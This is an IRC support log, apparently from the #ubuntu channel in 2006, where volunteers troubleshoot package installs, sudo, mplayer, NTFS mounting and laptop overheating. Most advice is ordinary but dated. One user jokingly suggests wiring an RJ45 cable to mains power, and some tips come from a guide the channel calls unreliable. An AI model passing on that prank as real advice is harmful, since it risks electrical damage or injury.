[10:39] <IdleOne> !tell jort about root
[10:39] <h36sa> raindog: you can use dpkg to install it locally
[10:39] <jort> hmm, i'm the only one using it so i must be admin?
[10:39] <kingspawn> jort: root can do anything on your computer
[10:39] <h36sa> I think apt-get can do it also.. not sure about synaptic
[10:39] <kingspawn> jort: for security reasons you are logged in as a normal user
[10:40] <fluxt> jort: the account you're using isn't
[10:40] <nrymiguel> hi ppl
[10:40] <IdleOne> jort> in a sense yes you are root but at the same time you arent
[10:40] <kingspawn> root is only to be used when you need to do things such as installing drivers
[10:40] <bluefoxicy> https://launchpad.net/distros/ubuntu/+bug/35248  I recall this happened in breezy too, can anyone confirm and backport printing regressions to breezy too?  :(
[10:40] <jort> ok
[10:40] <belkin> _jason  no . it list me the mplayer plugins Google VLC multimedia ; QuickTime Plug-in ; RealPlayer 9 ....
[10:40] <jort> so how do i manage it to be a root
[10:40] <h36sa> jort: irc doesn't let you on as root :)
[10:40] <kingspawn> jort: playing games doesnt need the ability to change the system drastically
[10:40] <h36sa> jort: type sudo COMMAND
[10:40] <h36sa> sudo runs commands as root.
[10:40] <IdleOne> jort>  read the msg from ubotu  it will explain how to use sudo
[10:40] <jort> login again and login as an admin
[10:40] <nrymiguel> can anyone give the way to convert rpm to deb for Skype
[10:40] <IdleOne> jort no
[10:41] <h36sa> ok.. now to cpu throttling?
[10:41] <Tempest2k> what is easyest distro to get xgl working on ?
[10:41] <jort> roger i will read ubotu's msg fisrt
[10:41] <Jhair> nrymiguel: alien <rpm_package>
[10:41] <IdleOne> !tell jort  about sudo
[10:41] <_jason> belkin: can you put 'ls /usr/lib/mozilla-firefox/plugins/' on http://paste.ubuntu-nl.org/ please?
[10:41] <IdleOne> !tell jort  about cli
[10:41] <nrymiguel> merci jhair
[10:41] <kingspawn> the linux community has gotten a lot friendlier from the time i started using it. an nice change. asking a question in #slackware in 1998 most likely got you banned.. :)
[10:42] <kingspawn> from=since
[10:42] <ardchoille> sudo apt-get dist-upgrade did nothing. Do I need to change my sources.list?
[10:42] <TacoMan>  I'm haveing problems getting my ntfs hdd to mount using the kubuntu live cd...
[10:42] <kingspawn> the beer makes me crazy.
[10:42] <TacoMan> anyone have any suggestions?
[10:42] <_jason> TacoMan: what kind of problems?
[10:42] <IdleOne> kingspawn>  not all distro's get the same type of support from it's users...Ubuntu has a great community
[10:42] <Jhair> kingspawn: what did they talk about in #slackware then?
[10:43] <kingspawn> IdleOne: indeed it has :) that's why i take such pleasure in trying to help out with what little i know. i actually remember what it felt like to get "RTFM" to every question i ever asked :)
[10:43] <MrRio> raindog_: u can install the deb manually, http://archive.ubuntu.com/ubuntu/pool/main/b/build-essential/http://archive.ubuntu.com/ubuntu/pool/main/b/build-essential/build-essential_11.1_i386.deb
[10:43] <fluxt> IdleOne: except me being the incarnation of evil in it's purest form
[10:43] <belkin> _jason http://paste.ubuntu-nl.org/10359
[10:43] <TacoMan> cacan't do it
[10:43] <kingspawn> fluxt: sometimes evil is needed. without it there would be no good, etc etc ;)
[10:43] <MrRio> raindog_, then move it to you net-less box and type  sudo dpkg -i build-essential_11.1_i386.deb
[10:43] <TacoMan> drive is recognized as hda1
[10:43] <raindog_> MrRio: Thanks so much for all your help.  It's really appreciated.
[10:43] <ftg2> kingspawn: i know what you mean. i to remember being told to rtfm.. then at one point i was the one telling others to rtfm lol
[10:43] <fluxt> now i suggest you enable wake on lan in the bios and wire your rj45 to mains
[10:43] <PaoloC> hi all, I'm on Drapper. Is it possible to have jvm working in FireFox?
[10:43] <IdleOne> kingspawn>  I got RTFM from a couple a diff distro's and even when using windows I got that
[10:44] <kingspawn> ftg2: yes, its an extremely easy step to take ;))
[10:44] <MrRio> raindog_: sorry, i pasted that link a bit funny last time, here you go http://archive.ubuntu.com/ubuntu/pool/main/b/build-essential/build-essential_11.1_i386.deb
[10:44] <IdleOne> ok lets stay on topic
[10:44] <gnomefreak> ubotu tell PaoloC about java
[10:44] <IdleOne> heya gnomefreak
[10:44] <_jason> belkin: ok, have you installed codecs for the files you are trying to view?  most likely w32codecs are needed
[10:44] <kingspawn> IdleOne: hehe, yeah, me too. sometimes it is needed, though.
[10:44] <gnomefreak> hi IdleOne
[10:44] <Francisco> _jason, hello
[10:44] <Francisco> can you help me?
[10:44] <_jason> Francisco: just ask the channel, I will help if I can
[10:44] <TacoMan> sill can't mnt...
[10:44] <belkin> _jason yes
[10:45] <belkin> _jason w32codecs installed
[10:45] <TacoMan> tried to use the graphical manager
[10:45] <max300> i got this error while installing hydra "make: *** [hydra-sip.o]  Error 1"
[10:45] <TacoMan> didn't do anything
[10:45] <Francisco> anyone can help me? I can turn the radio of my wifi on.??
[10:45] <_jason> belkin: does it work if you try to use mplayer from the command line?
[10:45] <Francisco> anyone can help me? how I can turn the radio of my wifi on.??
[10:45] <Jhair> max300: paste whole log in  http://paste.ubuntu-nl.org/
[10:45] <kingspawn> TacoMan: mount -t ntfs /dev/hda1 /wherever doesnt work?
[10:45] <belkin> _jason nope :)
[10:45] <meirm> francisco hablame en privado
[10:46] <_jason> belkin: can you put the output on pastebin?
[10:46] <IdleOne> !tell Francisco  about es
[10:46] <fluxt> any irssi users in here that can tell me how to search a window for text? :)
[10:46] <ftg2> Francisco: i think iwlist will do that
[10:46] <belkin> _jason yeah
[10:46] <ftg2> Francisco: or iwconfig
[10:47] <Francisco> ftg2, I have tried whit this but it does not work.."
[10:47] <sailor> I've got a quick question... I dual boot windows and Breezy, and have another partition onto which I want to install and test Dapper... If I install Dapper there, will it totally overwrite my boot sector, and if so, will it detect and configure it to boot windows, breezy, and dapper?
[10:47] <ftg2> Francisco: :(
[10:47] <LinuxJones> sailor: it should yeah
[10:47] <tristanmike> sailor, should install grub the same way breezy did
[10:47] <belkin> _jason http://pastebin.com/606242  here is the error and line 12 its fontconfig = yes in my config file
[10:48] <sailor> so it should detect the other OSs just fine?
[10:48] <LinuxJones> sailor: make a backup of /boot/grub/menu.lst jsut to be on teh safe side :)
[10:48] <logarithm> fluxt: /lastlog search_term
[10:48] <sailor> LinuxJones, thanks, I was planning on it
[10:48] <lesshaste> belkin: paste the whole output using mplayer -v
[10:48] <_jason> belkin: how about getting rid of that line?
[10:48] <fluxt> thatnks logarithm :)
[10:49] <raindog_> The ubuntu partioning tool (in the installer) doesn't work correctly when trying to resize the ntfs partition on my xp box, but worked like a charm on my win2kpro box.  Anyone have any suggestions about how to get the partitioning tool to work so that I don't have to wipe my xp install?
[10:49] <jort> getting strange reject :S jort@dell:~$ gksudo gedit
[10:49] <jort> (gedit:10761): GnomeUI-WARNING **: While connecting to session manager:
[10:49] <jort> Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.
[10:49] <Francisco> ftg2, eth1      radio off  ESSID:off/any
[10:49] <hmrocha> hello
[10:49] <Francisco> this is the tex when I type iwconfig
[10:49] <belkin> _jason mplayer won`t even start without that
[10:49] <Jeff__> is there a way to have vnc access to my linux box through the net? is there a site for it or something?
[10:49] <hmrocha> i'm running breezy and i want to install emacs-snapshot-gtk
[10:49] <_jason> belkin: install mplayer-fonts
[10:49] <pvd2006> wow, 703 people
[10:50] <Jeff__> i don't mean through a program, i mean through a website
[10:50] <LinuxJones> raindog_: you slected manually partition the drive ?
[10:50] <hmrocha> it says that i must remove dictionaries-common to install emacsen-common
[10:50] <belkin> _jason http://pastebin.com/606250
[10:50] <belkin> lesshaste http://pastebin.com/606250
[10:50] <raindog_> LinuxJones:  I selected to manually edit the partition table.
[10:50] <hmrocha> but i want to force the instalation, how can i do that?
[10:50] <belkin> _jason are installed already
[10:50] <fluxt> Jeff__: yeah i read there was a way to do that.. i forgot how
[10:50] <kingspawn> fluxt: logging everything and then searching it? ;)
[10:50] <gnomefreak> hmrocha: you really dont want to force the install :(
[10:50] <LinuxJones> raindog_:  so you have free space available but the installer can't create the partitions for you ?
[10:51] <Jeff__> fluxt, i know about logmein.com and gotomypc.com, but i don't believe you can get either of them on a linux
[10:51] <_jason> belkin: is that the mplayer from the repos?
[10:51] <Jeff__> could you at least help me look for something? i don't even know what keywords to use
[10:51] <Jeff__> :(
[10:51] <gnomefreak> hmrocha: let it remove it and than see if you cant install the dictionary package again
[10:51] <fluxt> Jeff__: are you sure one of the VNC's dont support web based operation?
[10:51] <pvd2006> Anyone know of any good ways to tweak Gnome to run faster? I tried some stuff last night from the ubuntu website on performance and it messed up gnome and I had to restart.
[10:51] <nijan_> Hello, I could run easy ubuntu but if try to install anithing it's been failing with this message:/usr/lib/python2.4/subprocess.py", line 975, in _execute_child
[10:51] <nijan_>     raise child_exception
[10:51] <nijan_> OSError: [Errno 2]  No such file or directory
[10:51] <hmrocha> removing dictionaries-common will remove openoffice, ubuntu-desktop and a lot more packages
[10:52] <raindog_> LinuxJones:  right now there is one ntfs partition that takes up the whole drive.  However, the windows install is very small compared to the size of the partition.  What happens is I try to resize it and it says that the resize failed.
[10:52] <gnomefreak> ubuntu-desktop is allowed to go what openoffice is it?
[10:52] <snooky_> hi @ all
[10:52] <belkin> _jason yes
[10:52] <snooky_> (join #ubuntu-de
[10:52] <LinuxJones> jeff_ , tightvnc has a module to use in a webbrowser for remote administration
[10:52] <hmrocha> gnomefreak: forget about it, i'll leave the emacs21 package and not the emacs-snapshot-gtk
[10:53] <LinuxJones> raindog_: did you do a defrag on the drive ?
[10:53] <_jason> belkin: so removing the fontconfig thing does what?
[10:53] <raindog_> LinuxJones:  only about 20 of them.  :)  I was trying to get the data to be as contiguous as possible.
[10:53] <mlehrer> so the i686 version of dapper seems to outperform the amd64 version on my 3500+, when playing back hi def content in VLC
[10:53] <hmrocha> gnomefreak:  i just wanted students to have emacs with gtk2 instead of the "standard" one
[10:53] <mlehrer> interesting
[10:53] <LinuxJones> raindog_: heh
[10:54] <gnomefreak> hmrocha: xemacs
[10:54] <hmrocha> gnomefreak: xemacs has gtk2 interface with pango fonts?
[10:54] <gnomefreak> xemacs has menus and stuff
[10:54] <chuckyp> gnomefreak, Do you know of an easy way to remove kubuntu-desktop after i'm done with it.
[10:54] <ploom>  has anyone noticed that when making a file or folder named with less or equal than 8.3 characters, it will appeat twice into nautilus (once for short name - uppercase; once for long name - in lowercase)??
[10:55] <hmrocha> gnomefreak: i'll install it on my pc just to give it a try
[10:55] <bimberi> Jeff__: there are vnc-java and tightvnc-java packages available to enable vnc from a java enabled web browser
[10:55] <ploom> don't know if there already is a bug for it
[10:55] <max300> y does evry one keap on sending me to this link "http://paste.ubuntu-nl.org/" it doesnt work and its slow
[10:55] <Jeff__> bimberi, cool..i.'ll google 'em in
[10:55] <belkin> _jason this will be the output then http://pastebin.com/606275
[10:55] <ploom> ...when making it into a vfat partition - not the ext (linux) one at least
[10:55] <selinium> hi all, How do i recurse through a folder showing all files that contain 'foo'
[10:55] <fluxt> max300: if pastebin doesn't work, request a person to join #flood and paste it there
[10:56] <hmrocha> gnomefreak: i have dapper here, emacs-snapshot-gtk install fine
[10:56] <gnomefreak> chuckyp: there is a lib to remove something like lib3-mt but dont do it unless you know the lib for sure
[10:56] <linuxcrazy> can I get all of the packages that are out there if I use synaptic?
[10:56] <gnomefreak> hmrocha: i thought you said breezy :(
[10:56] <NickGarvey> selinium: probably ls -r foo*
[10:56] <fluxt> max300: and yeah, seems the site is down for the moment
[10:56] <NickGarvey> selinium: probably ls -r *foo*
[10:56] <NickGarvey> if you want file names
[10:56] <hmrocha> gnomefreak: yes, students use breezy
[10:56] <NickGarvey> not sure though I'd check the manual
[10:56] <NickGarvey> I'm runnig windows right now
[10:56] <fluxt> max300: wait, no it's just incredibly slow
[10:56] <selinium> NickGarvey, I nedd to find 'foo' in the file, not the file name   :)
[10:56] <NickGarvey> ah
[10:56] <asylumius> Can anyone tell me the package that contains mysqli, or perhaps a link with some documentation on installing php5 with mysqli?
[10:57] <gnomefreak> hmrocha: i dont even remember that package in breezy (but not sure)
[10:57] <IdleOne> !tell asylumius about apache
[10:57] <hmrocha> gnomefreak: forget about it then, i'll leave the emacs21
[10:57] <linuxcrazy> If someone has a slow internet connection with breezy badger, do this:
[10:57] <max300> fluxt: y u think it actualy helps?
[10:57] <hmrocha> gnomefreak: i'll install dapper in the next semester (september)
[10:57] <asylumius> IdleOne: thanks.
[10:58] <IdleOne> asylumius>  no problem
[10:58] <linuxcrazy> http://ubuntuguide.org/#loadwebsitefasterfirefox
[10:58] <fluxt> selinium:  grep -r <text> ./*
[10:58] <tristanmike> !ubuntuguide
[10:58] <ubotu> I guess ubuntuguide is out of date, reported to break a lot and generally a bad source for information. Use help.ubuntu.com or wiki.ubuntu.com instead
[10:58] <ploom> even my mum uses breezy now :-p
[10:58] <linuxcrazy> read it it will make your internet connection much faster
[10:58] <tristanmike> linuxcrazy, please don't advise ubuntuguide.org
[10:59] <linuxcrazy> read it!
[10:59] <linuxcrazy> you open mozilla and type about: config
[10:59] <IdleOne> linuxcrazy>  thank you  for the link but ubuntuguide is generaly not a good place for help
[10:59] <tristanmike> linuxcrazy, please read what ubotu thinks about ubuntuguide
[10:59] <hmrocha> gnomefreak: it would be great if anyone coded pango support in emacs :)
[10:59] <linuxcrazy> ok fine, but if you do what it says it will speed up your connection
[10:59] <kingspawn> linuxcrazy: usually help.ubuntu.com will give you better advice.
[11:00] <linuxcrazy> have you read and done what it says to do?
[11:00] <bimberi> linuxcrazy: or in this case ...
[11:00] <bimberi> !ipv6disable
[11:00] <ubotu> To disable ipv6 read https://wiki.ubuntu.com/WebBrowsingSlowIPv6IPv4
[11:00] <gnomefreak> !ubuntuguide
[11:00] <ubotu> I guess ubuntuguide is out of date, reported to break a lot and generally a bad source for information. Use help.ubuntu.com or wiki.ubuntu.com instead
[11:00] <tristanmike> linuxcrazy, ubuntuguide is never updated, so if things change, it won't let you know, thus help.ubuntu.com
[11:00] <gnomefreak> ^^^ theres a guide
[11:00] <fluxt> linuxcrazy: i use the fasterfox plugin ;)
[11:00] <gnomefreak> as for ff config i got that on my personal site
[11:01] <gnomefreak> and so do most people :)
[11:01] <max300> any1 know wat this means "hydra-sip.c:61: warning: unused variable resp
[11:01] <max300> hydra-sip.c:61: warning: unused variable mu
[11:01] <max300> hydra-sip.c:60: warning: unused variable urp"?
[11:01] <gnomefreak> its also in your help icon
[11:01] <_jason> belkin: one sec, i have to take care of something
[11:01] <nrymiguel> please the URL to install Skype
[11:02] <gnomefreak> !skype
[11:02] <ubotu> I heard skype is http://wiki.ubuntu.com/SkypeHowto/ Breezy deb: http://wiki.ubuntu.com/SeveasPackages/
[11:02] <gnomefreak> ^^use seveas package
[11:02] <linuxcrazy> do this Aopen firefox, type about config, then type network.dns.disableIPv6 then change it to true
[11:02] <linuxcrazy> x the A
[11:02] <bobyfixer> oi tudo bem ?
[11:02] <nazgulwalker> what was the url for autoconfigure of mylist??
[11:03] <linuxcrazy> then type network.http.pipelining  change that to true
[11:03] <fluxt> !pt
[11:03] <ubotu> Por favor use #ubuntu-br (/j #ubuntu-br) ou #ubuntu-pt (/j #ubuntu-pt) para ajuda em portugues. Obrigada.
[11:03] <bobyfixer> alguem fala portugues aqui ?
[11:03] <jort> hmm cant solve this problem; how do i login as a root ?
[11:03] <george__> espaol?
[11:03] <linuxcrazy> then type network.http.pipelining.maxrequests and thange it to 8
[11:03] <IdleOne> !tell bobslaede  about pt
[11:03] <tristanmike> !tell jordo23 about root
[11:03] <thompa> is there a special place for us folks with laptops?
[11:03] <linuxcrazy> then type network.http.proxy.pipelining and change it to true.\
[11:03] <tristanmike> sorry jordo23 that was for jort
[11:03] <IdleOne> thompa>  you found it
[11:04] <tristanmike> !tell jort about root
[11:04] <h36sa> can anyone help me explain the cpu throttling limitation shown here: http://pastebin.com/606294 ?? why is it only going to 2.1ghz instead of much, much lower?
[11:04] <Zarephath> boyfixer: No
[11:04] <ftg2> i have everything on this laptop working now except the acpi, and that seems like a lost cause  :\
[11:04] <jort> thx
[11:04] <fluxt> !ar
[11:04] <ubotu> fluxt: What? Try searching at http://ubuntu.cc.com.au/
[11:05] <linuxcrazy> what's the repositorie for wine?
[11:05] <IdleOne> !wine
[11:05] <linuxcrazy> wine! yes
[11:05] <nalioth> ubotu: tell linuxcrazy about wine
[11:05] <bobyfixer> o win rode no ubuntu ?
[11:05] <tristanmike> !wine
[11:05] <thompa> IdleOne: are you running a notebook, centrino m?
[11:05] <IdleOne> wine is a compatibility layer used by linux to let it run (some) windows programs.  It's available in universe but a more recent version can be installed by adding "deb http://wine.sourceforge.net/apt binary/" to your sources.list. (Doing this however will break winetools on Breezy) More info at http://www.winehq.com or for support go to #winehq
[11:05] <bobyfixer> da pra rodar o wine no ubuntu ?
[11:05] <MarHooloz> hello
[11:05] <IdleOne> thompa>  no but I know alot of ppl running laptop in here so ask away and someone should be able to help you out
[11:05] <linuxcrazy> anybody use cedega?
[11:05] <h36sa> ftg2: I've had acpi completely functional on my laptop recently
[11:06] <sarra> hey. i've got a cranky install of rhythmbox (don't download random .deb files, self) that i want to remove, but when i try with synaptic it informs me it wants to remove ubuntu-desktop as well? :S
[11:06] <MarHooloz> yes Me
[11:06] <MarHooloz> cedega
[11:06] <linuxcrazy> any good?
[11:06] <IdleOne> !tell bobbynet  about wine
[11:06] <nazgulwalker> what was the url for auto config my /etc/apt/sources.list ??
[11:06] <h36sa> ... until I installed ubuntu that is :(
[11:06] <Fujitsu> !pt
[11:06] <ubotu> Por favor use #ubuntu-br (/j #ubuntu-br) ou #ubuntu-pt (/j #ubuntu-pt) para ajuda em portugues. Obrigada.
[11:06] <IdleOne> !tell nazgulwalker  about repos
[11:06] <nalioth> bobyfixer: que idioma?
[11:06] <ftg2> h36sa: ah. lol
[11:06] <thompa> i still cant find an answer relating to heat issues, when my cpu gets to 100% in certain apps it goes way up
[11:06] <bimberi> !tell nazgulwalker about easysource
[11:06] <linuxcrazy> marhoolz is it any good?
[11:06] <bobyfixer> idioma ?
[11:06] <h36sa> ftg2: under gentoo everything worked
[11:06] <fluxt> !tell bobyfixer about pt
[11:06] <bobyfixer> portugues
[11:06] <nazgulwalker> thank you
[11:06] <h36sa> what kind of laptop is it
[11:06] <IdleOne> !pt
[11:06] <ubotu> Por favor use #ubuntu-br (/j #ubuntu-br) ou #ubuntu-pt (/j #ubuntu-pt) para ajuda em portugues. Obrigada.
[11:06] <ftg2> h36sa: that means there is hope.. probably fixable with a kernel recompile, etc
[11:06] <linuxcrazy> VIIV?!!
[11:06] <Zarephath> nalioth: portugues
[11:06] <nalioth> bobyfixer: #ubuntu-br has portugues people in it
[11:07] <IdleOne> bobbynet> ^^^^
[11:07] <bimberi> nazgulwalker: yw
[11:07] <h36sa> yeah
[11:07] <linuxcrazy> I wish
[11:07] <thompa> centrino m, with nvidia card
[11:07] <linuxcrazy> what the nvidia card?
[11:07] <neri_> anyone with an ibook?
[11:07] <thompa> h36sa: its a sony vaio centrino m
[11:07] <linuxcrazy> what model is the nvidia card?
[11:07] <Zarephath> nalioth: Wondering about progress on PPC Dapper?
[11:08] <nalioth> Zarephath: what about it? it works great so far
[11:08] <h36sa> really? centrino stuff works prime right now
[11:08] <thompa> sorry, nvidia is not the problem
[11:08] <linuxcrazy> no I guess not
[11:08] <Zarephath> nalioth: I was just wondering where I might dowload the flight 5 cd?
[11:08] <ftg2> h36sa: its an inspiron 6000
[11:08] <Zarephath> For PPC of course
[11:08] <bimberi> !getdapper
[11:08] <ubotu> You can download dapper CD Images via http://cdimage.ubuntu.com/releases/dapper/flight-5/ or http://cdimage.ubuntu.com/daily/current/.
[11:08] <linuxcrazy> flight 5? what's that?
[11:08] <Zarephath> bimberi: Thanks
[11:08] <bimberi> Zarephath: ^^^^^ (first link)
[11:08] <h36sa> ftg2: what proc?
[11:09] <bimberi> Zarephath: np :)
[11:09] <tristanmike> linuxcrazy, it's the 5th pre-release dapper
[11:09] <Zarephath> Didn't know dapper was out for ppc yet...heh
[11:09] <linuxcrazy> oh
[11:09] <ftg2> h36sa: pentium m 750 i think
[11:09] <thompa> h36sa: i started montoring temp, and when cpu is at 100% cat / proc/acpi goes to 98c
[11:09] <h36sa> I've got an inspiron 5100 with a desktop p4/2.4 and I've had everything working before
[11:09] <linuxcrazy> yikes!
[11:09] <Zarephath> Is XGL enabled for PPC dapper?
[11:09] <linuxcrazy> 98C?!
[11:09] <thompa> h36sa: that cant be right can it?
[11:09] <h36sa> ftg2: yeah the centrino stuff works really well I think.. what problem were you having
[11:09] <linuxcrazy> go xgl!
[11:09] <bimberi> !tell Zarephath about xgl
[11:09] <nalioth> Zarephath: join me in #ubuntu+1 please
[11:09] <Zarephath> nalioth: K
[11:09] <yggdrasil> hello guys i just isntalled ubuntu on a dell c400 laptop and it looks liek the boot splash screen has a framebuffer issue , how can i disable it ?
[11:10] <thompa> h36sa: it works fine, just the temp alarms me
[11:10] <fluxt> thompa: that would have to be a mistake i hope
[11:10] <ftg2> h36sa: everything works great. acpi is just a great way crash the machine atm is all
[11:10] <_jason> belkin: ok sorry about that, still around
[11:10] <linuxcrazy> temp should alrm you!
[11:10] <_jason> ?
[11:10] <linuxcrazy> a*
[11:10] <h36sa> thompa: what proc/does it really get that hot?
[11:10] <stpere> yggdrasil, go to /boot/grub/menu.lst
[11:10] <yggdrasil> yar ? and
[11:10] <h36sa> ftg2: oh.. that sucks
[11:10] <thompa> h36sa:  cat /proc/acpi/thermal_zone/THRM/temperature
[11:10] <stpere> yggdrasil, find the line you are using.. and remove the splash argument
[11:11] <h36sa> mine's been stable with suspend to ram and to disk
[11:11] <thompa> h36sa: it happens at updates, celestia, screensavers even.
[11:11] <h36sa> thompa: it's a laptop though right?
[11:11] <nrymiguel> pffffff
[11:11] <thompa> h36sa: yes sony vaio (i know they suck alread)
[11:11] <jort> moving progress on installing nvidia driver, got the .run started in root but getting this error
[11:11] <jort>   ERROR: Unable to find the system utility `ld`; please make sure you have the
[11:11] <jort>          package 'binutils' installed.  If you do have binutils installed,
[11:11] <jort>          then please check that `ld` is in your PATH.
[11:11] <Jhair> hm
[11:12] <_jason> jort: 'sudo aptitude install build-essential'
[11:12] <h36sa> thompa: well.. you'd definately know if your laptop was running at 100*C
[11:12] <yggdrasil> stpere can i do um vga=normal ?
[11:12] <tristanmike> !tell jort about pastebin
[11:12] <monteiro> anyone knows a good desktop recorder for ubuntu ?
[11:12] <thompa> h36sa:  right now im at 55c
[11:12] <yggdrasil> my consoles looking all borked up too
[11:12] <h36sa> so I'd say your system is just reporting it wrong
[11:12] <thompa> h36sa: well i know it is too hot for my lap on occasion
[11:12] <_jason> monteiro: istanbul is the only one I know about, but I have had problems using it
[11:12] <rukuartic> Can anyone tell me how I can get my router to forward my REAL ip address to my computer?
[11:12] <monteiro> _jason : me 2, thats why i'm asking :)
[11:12] <h36sa> 100*c is boiling water.. is it that hot?
[11:13] <belkin> _jason yeah
[11:13] <stpere> yggdrasil, hmm.. I suppose yes
[11:13] <rukuartic> O RLY!?
[11:13] <yggdrasil> rukuartic just put your computer into the dms
[11:13] <yggdrasil> dmz
[11:13] <thompa> h36sa: i dont think so
[11:13] <rukuartic> yggdrasil: It is... >>;
[11:13] <h36sa> and your cpufan works?
[11:13] <yggdrasil> stpere actulay let me see if that worked on it own... yea it did
[11:13] <yggdrasil> rukauartic suomi ?
[11:13] <foampeace> hello
[11:13] <asylumius> I've got php5+apache2+mysql configred per the Wiki, but can anyone give me some info on adding mysqli support?
[11:13] <foampeace> i came onto my computer and X wont start
[11:13] <rukuartic> yggdrasil: Hmm?
[11:14] <foampeace> anyone know why?
[11:14] <bimberi> !find mysqli
[11:14] <_jason> belkin: seems to still be a font problem.  Verify that 'apt-cache policy mplayer-fonts | grep -i Installed' says it is installed.  If it is, then pastebin /etc/mplayer.conf and ~/.mplayer/config
[11:14] <yggdrasil> nevermind..
[11:14] <thompa> h36sa: yes cpu fan works fine, it feels just as hot now 55c, then when it reads 95c +
[11:14] <tristanmike> !xhangs
[11:14] <ubotu> If the GUI hangs after logging in, use <ctrl><alt><f1> to switch to text mode. Log in and do: rm .{X,ICE}authority
[11:14] <richard> how can i use dinamic tables in open office?
[11:14] <yggdrasil> its in the dmz and your still not getting it forwarded correctly ?
[11:14] <fluxt> foampeace: probably all the sticky stuff on your monitor
[11:14] <h36sa> thompa: then I wouldn't worry :)
[11:14] <thompa> h36sa: its only when cpu is at 100% for certain apps
[11:14] <yggdrasil> stpere wow it crashes when i switch into and out of console and x...
[11:14] <belkin> _jason Installed: 3.5-2 so i will paste you the /etc/mplayer.conf and ~/.mplayer/config
[11:14] <yggdrasil> oh well i read about that its just wierd non public driver
[11:15] <h36sa> does it ever stay at like 55-60 when at 100%?
[11:15] <thompa> h36sa: could be the way the sensor is mounted, its very thin the notebook
[11:15] <thompa> ill check
[11:15] <stpere> yggdrasil, weird, you did add the vga=normal parameter?
[11:15] <yggdrasil> uh no
[11:15] <fluxt> foampeace: "i came onto my computer and X wont start" <- this action is never recommmended
[11:15] <_jason> belkin: okay one more thing to check, add the '-vo null' switch and see if you hear sound from the clip
[11:15] <h36sa> cat /proc/acpi/thermal_zone/THM/temperature
[11:15] <bimberi> asylumius: there's a file '/usr/share/php/DB/mysqli.php' in the mysql-db package, perhaps that is it
[11:15] <h36sa> temperature:             39 C
[11:15] <linuxcrazy> not bad
[11:15] <jesseman_> fluxt, ROFL
[11:15] <foampeace> is this channel family friendly?
[11:16] <foampeace> :>
[11:16] <thompa> h36sa: thats good,
[11:16] <tristanmike> foampeace, yes
[11:16] <linuxcrazy> what ecactly does "ROFL" mean?
[11:16] <belkin> _jason /etc/mplayer/mplayer.conf >> http://pastebin.com/606317
[11:16] <linuxcrazy> x*
[11:16] <h36sa> thompa: that's a desktop p4 too, not a centrino which should run much cooler
[11:16] <fluxt> foampeace: yes, now stop talking dirty! ;)
[11:16] <jesseman_> linuxcrazy, youre kidding, right?
[11:16] <IdleOne> !tell linuxcrazy about offtopic
[11:16] <h36sa> it's in a laptop, but the proc is a desktop p4
[11:16] <linuxcrazy> what does it mean?
[11:16] <thompa> h36sa: it starts to climb by 10c right away and then gets up to 98c
[11:16] <aeolist> linuxcrazy, rolling on the floor laughing
[11:16] <h36sa> hmm that's kinda weird
[11:16] <linuxcrazy> well.....I don't know
[11:16] <foampeace> Something about horizontal sync ranges not heppening etc
[11:17] <foampeace> i didnt dpkg-reconfigure xserver-xorg and it didnt help
[11:17] <belkin> _jason ~/.mplayer/config >> http://pastebin.com/606321
[11:17] <aeolist> linuxcrazy, you should have searched the wiki before asking though
[11:17] <thompa> h36sa: only with apps that require 100% cpu
[11:17] <foampeace> i did
[11:17] <_jason> belkin: comment the font stuff in ~/.mplayer/config
[11:17] <tristanmike> foampeace, does it hang after you log in? or do you not even get the logon screen ?
[11:18] <belkin> _jason fontconfig = yes and font = "Sans" ?
[11:18] <fluxt> foampeace: this just happened out of the blue or did you do something beforehand that would tip off a possible cause
[11:18] <linuxcrazy> oh here we go. rolling on the floor laughing.
[11:18] <ploom> thompa, either you have smthing with the cooler or with that thing measuring the temperature...
[11:18] <_jason> belkin: yes and subfont-text-scale = 3 too
[11:18] <jesseman_> linuxcrazy, yes. that is it. i am ROFL right now
[11:18] <thompa> ploom: right
[11:18] <jesseman_> :-P
[11:19] <thompa> ploom: i guess i could leave it at 98c and see if it blows
[11:19] <h36sa> thompa: I'd suggest just feeling the air coming outta the laptop at 55 and at 98.. see if it really is overheating, causse if it's running at 98* your laptop isn't gonna last long :P
[11:19] <fluxt> i like thompa's idea best
[11:19] <monteiro> is there a way of installing openoffice 2.0.2 in ubuntu breezy ?
[11:19] <thompa> h36sa: there is little or no air coming out
[11:20] <ploom> thompa, no you shouldnt - it will take some more degrees and it will blow like a bullet
[11:20] <thompa> h36sa: there are no air vents
[11:20] <h36sa> seriously?
[11:20] <h36sa> sorry dude
[11:20] <thompa> h36sa: there a little air coming from the usb ports
[11:20] <belkin> _jason http://pastebin.com/606329  tha error
[11:20] <h36sa> haha
[11:20] <h36sa> there has to be a vent somewhere
[11:21] <fluxt> h36sa: are you talking about the speed holes we covered with black electrical tape?
[11:21] <h36sa> maybe you just can't find it cause your cpu fan sucks
[11:21] <thompa> ive had linux on this thing many times before, and it would run hot
[11:21] <ploom> thompa, there once was a video about an athlon, what happens when cooler just gets removed (on 100% load) and it did fly - through the motherboard and also through the table :-)
[11:21] <pvd2006> whats the command to get all updates including kernel? apt-get ....
[11:21] <h36sa> fluxt: no.. aerodynamics is a whole other ballgame
[11:21] <_jason> belkin: what happens with the '-vo null' switch?
[11:22] <fluxt> pvd2006: apt-get upgrade
[11:22] <tristanmike> pvd2006, it's "sudo apt-get update" and that will give you any updates that are available
[11:22] <thebrasse> hello, I am a bit new to the apt stuff. is there any wau to figure out what package I need to install in order to get a specific lib (libXxf86vm)?
[11:22] <h36sa> ploom: I've seen that.,. fucking crazy huh
[11:22] <tristanmike> pvd2006, then sudo apt-get upgrade
[11:22] <ftg2> ploom: when my athlon fried, it forced off the hooks holding it to the board, and fell onto the video card.
[11:22] <Wolfv> help
[11:22] <h36sa> haha
[11:22] <NickGarvey> !language
[11:22] <ubotu> language is, like, totally, please watch your language; we try to be nice and help, but some of us don't like to see such things on our screen.
[11:22] <NickGarvey> !helpme
[11:22] <ubotu> If you do not actually ask a question, we can not actually help you.
[11:22] <Wolfv> hi
[11:22] <ftg2> ploom: i awoke to the smell of burning electronics
[11:22] <linuxcrazy> Here's the joke of the day. knock knock?
[11:22] <thompa> so my life is in danger huh?
[11:23] <WoC> idea ideas as to the name of the tool in bind8 which you can use to update a running dns server from i.e. a script?
[11:23] <pvd2006> that will also uprgrade the kernel?
[11:23] <linuxcrazy> lol
[11:23] <thompa> are there any centrino m users out there?
[11:23] <MisterN> n8
[11:23] <h36sa> thompa: I've got one :P
